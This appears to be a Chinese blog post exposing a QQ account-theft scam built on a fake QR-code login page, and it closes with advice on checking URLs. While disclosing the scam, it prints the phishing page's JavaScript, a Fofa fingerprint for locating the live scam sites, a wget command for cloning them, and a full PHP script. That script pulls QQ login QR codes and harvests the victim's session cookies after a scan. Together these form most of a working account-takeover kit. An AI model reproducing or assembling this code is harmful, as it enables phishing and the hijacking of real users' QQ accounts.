QQ盗号的最新骗局,请谨防上当受骗

相关阅读

之前我们分享过一期

【骗局揭秘】QQ好友辅助验证导致的账户泄露 请谨防上当受骗!-自由者联盟
【零基础学渗透】XSS漏洞的常见方式汇总-自由者联盟

最近又有热心网友私信我,说有新的盗号的链接想让我分析一下

诈骗过程分析

打开诈骗页面,发现有二维码一键登录

图片[1]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog
手机版界面

PC端页面看起来也很逼真

图片[2]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog
PC版界面

如果直接用手机扫描PC端页面的二维码会提示不在同一网络下,这一点QQ做的还不错

图片[3]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog

但是手机版问题就很大了,如果在QQ里点开链接,如果点一键登录,会导致黑客可以直接登录你的QQ安全中心,这一点就很致命了……

寻找此类站点

我们可以通过Fofa搜索站点域名,然后可以找到对应的指纹

fid="UiiA2s9QkrO2Lkwqx6d1DQ=="
图片[4]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog

然后下面的站点就都是使用这个模板的

如果你感兴趣可以自行进行渗透测试(请不要使用自己的QQ扫码哦,不然号可能会被盗的)

我们把这些域名IP地址都整理到下方评论里

盗号的原理

目测这里是通过Thinkphp写了个接口,截获了QQ安全中心的二维码截图

图片[5]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog

然后嵌入到页面中的,部分代码如下

 <script>
        var url = '';
        var sig = '';
        var qrsig = '';
        var timexx;
        $(document).ready(function () {
           $("#qrimg").hide()
           getQr();
            timexx=setInterval("listenLogin()", 1000);//监听
        });

        function getQr() {
           // $("#qrimg").attr("src", "qr.php?t=" + Date.parse(new Date()));
            $.getJSON("/index/qr?t=" + Date.parse(new Date()),function (data) {
                console.log(data);
                $("#qrimg").attr("src", data['img']);
                $("#qrimg").attr("qrurl", data['url']);
                $("#qrimg").attr("qrsig", data['qrsig']);
                $("#qrimg").attr("qrtoken", data['qrtoken']);
                $("#qrimg").show();
                },
            );
        }
        function listenLogin() {
            var qrsig = $('#qrimg').attr('qrsig');
            var qrtoken = $('#qrimg').attr('qrtoken');
            
            $.getJSON(
                "/index/listen?qrsig=" + qrsig + "&qrtoken="+qrtoken+"&t="+Date.parse(new Date()),
                function (data) {
                    console.log(data);
                    switch (data[0]) {
                        case '0'://登录成功
                            if (data[2]) {
                                //跳转到
                                clearInterval(timexx);
                                window.location.href = "/index/login?url=" + encodeURIComponent(data[2]);
                            }
                            break;
                        case '65'://二维码已失效
                            getQr();
                            break;
                        case '66'://二维码未失效
                            console.log('二维码未失效');
                            break;

                        case '67'://正在验证二维码
                            console.log('正在验证二维码');
                            break;
                        default:
                           // getQr();
                            break;
                    }
                },
            );
        }

    </script>

但是核心是将参数传到了/index/login?url=

比较有趣的是我们还可以看到它有个php文件是专门生成二维码的,路径为/index/qr?t=

图片[6]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog

生成的参数会随机变换,也就是说这个是动态的二维码,每次刷新都会变化

如何下载相关代码

我们之前有一期教大家仿站的小技巧

一行代码完成仿站 扒静态资源必备-自由者联盟

里面有一行命令非常简单粗暴

wget -r -p -np -k 你要仿的站点

然后我们就可以把网站静态资源下载下来,看起来还是蛮逼真的

图片[7]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog
下载的仿站页面

但是刚才也说了,这里面二维码是动态生成的,因此如果你要完成,还需要自己写一个QQ的二维码生成的脚本,这里因为比较敏感就不过多赘述了,但是整个过程我们都了解了。

骗子也是通过QQ登录二维码和后端的代码完成群控的,理论上应该是有后台可以随时登录的。

QQ二维码登录API

这里我们稍微补充一下,QQ二维码登录的相关代码

<?php
    error_reporting(0);
    header('Access-Control-Allow-Origin: *');
    header('Content-type: application/json; charset=utf-8');
    
    function request_http($url, $type=0, $post_data='', $ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.58', $cookie='', $header=array(), $redirect=true){
        // 初始化
        $curl = curl_init();
        // 网址
        curl_setopt($curl,CURLOPT_URL, $url);
        // Ua
        if (!empty($ua)) {
            $header[] = 'User-Agent:'.$ua;
        }
        // Cookie
        if (!empty($cookie)) {
            $header[] = 'Cookie:'.$cookie;
        }
        // 请求头
        if (!empty($ua) or !empty($cookie) or !empty($header)) {
            curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
        }
        // Post数据
        if($type == 1){
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
        }
        // 重定向
        if (!$redirect) {
            curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); 
        }
        // 过SSL验证证书
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
        // 将头部作为数据流输出
        curl_setopt($curl, CURLOPT_HEADER, true);
        // 以变量形式存储返回数据
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        // 请求,存储数据
        $return = curl_exec($curl);
        // 分割头部和身体
        if (curl_getinfo($curl, CURLINFO_HTTP_CODE) == '200') {
            $return_header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
            $return_header = substr($return, 0, $return_header_size);
            $return_data = substr($return, $return_header_size);
        }
        // 关闭
        curl_close($curl);
        // 返回数据
        return [$return_header, $return_data];
    }
    
    function return_result($state, $information) {
        $result = array(
            'state'=>$state,
            'information'=>$information
        );
        exit(stripslashes(json_encode($result, JSON_UNESCAPED_UNICODE)));
    }
    
    function get_middle_text($text, $text_left, $text_right) {
        $left = strpos($text, $text_left);
        $right = strpos($text, $text_right, $left);
        if ($left < 0 or $right < $left) {
            return False;
        }
        return substr($text, $left + strlen($text_left), $right - $left - strlen($text_left));
    }
    
    function get_ptqrtoken($qr_sig) {
        $len = strlen($qr_sig);
        $hash = 0;
        for ($count = 0; $count < $len; $count++) {
            $hash += (($hash << 5) & 2147483647) + ord($qr_sig[$count]) & 2147483647;
            $hash &= 2147483647;
        }
        return $hash & 2147483647;
    }
    
    function get_result_data($qr_sig){
        $state_data = request_http('https://ssl.ptlogin2.qq.com/ptqrlogin?u1=https://qzs.qzone.qq.com/qzone/v5/loginsucc.html?para=izone&from=iqq&ptqrtoken='.get_ptqrtoken($qr_sig).'&ptredirect=1&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=0-0-'.time().'&js_ver=10233&js_type=1&login_sig='.$qr_sig.'&pt_uistyle=40&aid=549000912&daid=5', null, null, null, 'qrsig='.$qr_sig)[1];
        if (strpos($state_data, '未失效')) {
            return '未失效';
        } elseif (strpos($state_data, '认证中')) {
            return '认证中';
        } elseif (strpos($state_data, '登录成功')) {
            $ptuicb_url = get_middle_text($state_data, "'0','0','", "','1',");
            $ptuicb_header = request_http($ptuicb_url, null, null, null, null, null, false)[0]; 
            $cookie = array(
                'uin'=>get_middle_text($ptuicb_header, 'uin=', ';'),
                'skey'=>get_middle_text($ptuicb_header, 'skey=', ';'),
                'p_uin'=>get_middle_text($ptuicb_header, 'p_uin', ';'),
                'p_skey'=>get_middle_text($ptuicb_header, 'p_skey=', ';'),
                'pt4_token'=>get_middle_text($ptuicb_header, 'pt4_token=', ';')
            );
            $information = array(
                'state'=>'已登录',
                'cookie'=>$cookie
            );
            return $information;
        } elseif (strpos($state_data, '已失效')) {
            return '已失效';
        } else {
            return '未知错误';
        }
    }
    
    function get_login_data(){
        $return = request_http('https://ssl.ptlogin2.qq.com/ptqrshow?appid=549000912&e=2&l=M&s=3&d=72&v=4&t='.time().'&daid=5&pt_3rd_aid=0');
        $qr_sig = get_middle_text($return[0], 'qrsig=', ';');
        $qr_code = 'data:image/jpeg;base64,'.base64_encode($return[1]);
        return [$qr_sig, $qr_code];
    }
    
    $type = $_REQUEST['type'];
    $qr_sig = $_REQUEST['qr_sig'];
    if (($type != 'get' and $type != 'result') or ($type != 'get' and empty($qr_sig))) {
        return_result(100, '参数错误');
    }
    if ($type == 'get') {
        $login_data = get_login_data();
        $information = array(
            'qr_sig'=>$login_data[0],
            'qr_code'=>$login_data[1]
        );
    } else {
        $information = get_result_data($qr_sig);
    }
    return_result(200, $information);
?>

相关参数解释

名称 必填 说明
type get代表登录数据,result代表结果
qrsig 存在登录数据中,type为result时必填

QQ二维码配合刚才仿真的页面,用户就可以登录到QQ安全中心,然后账户就被黑客接管了。不过,如果不提交短信验证码,理论上只是账户被控制,不会出现手机号密保被修改的情况!

防范措施

不要点击非官方的链接,在手Q上访问网站时,如果你不确定是不是官方的,在右上角点击···

然后选择复制链接,或者直接在浏览器里打开

图片[8]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog

之后我们就可以看到网址了,如果非官方的网址qq.com,请一定要注意咯!

图片[9]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog
© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片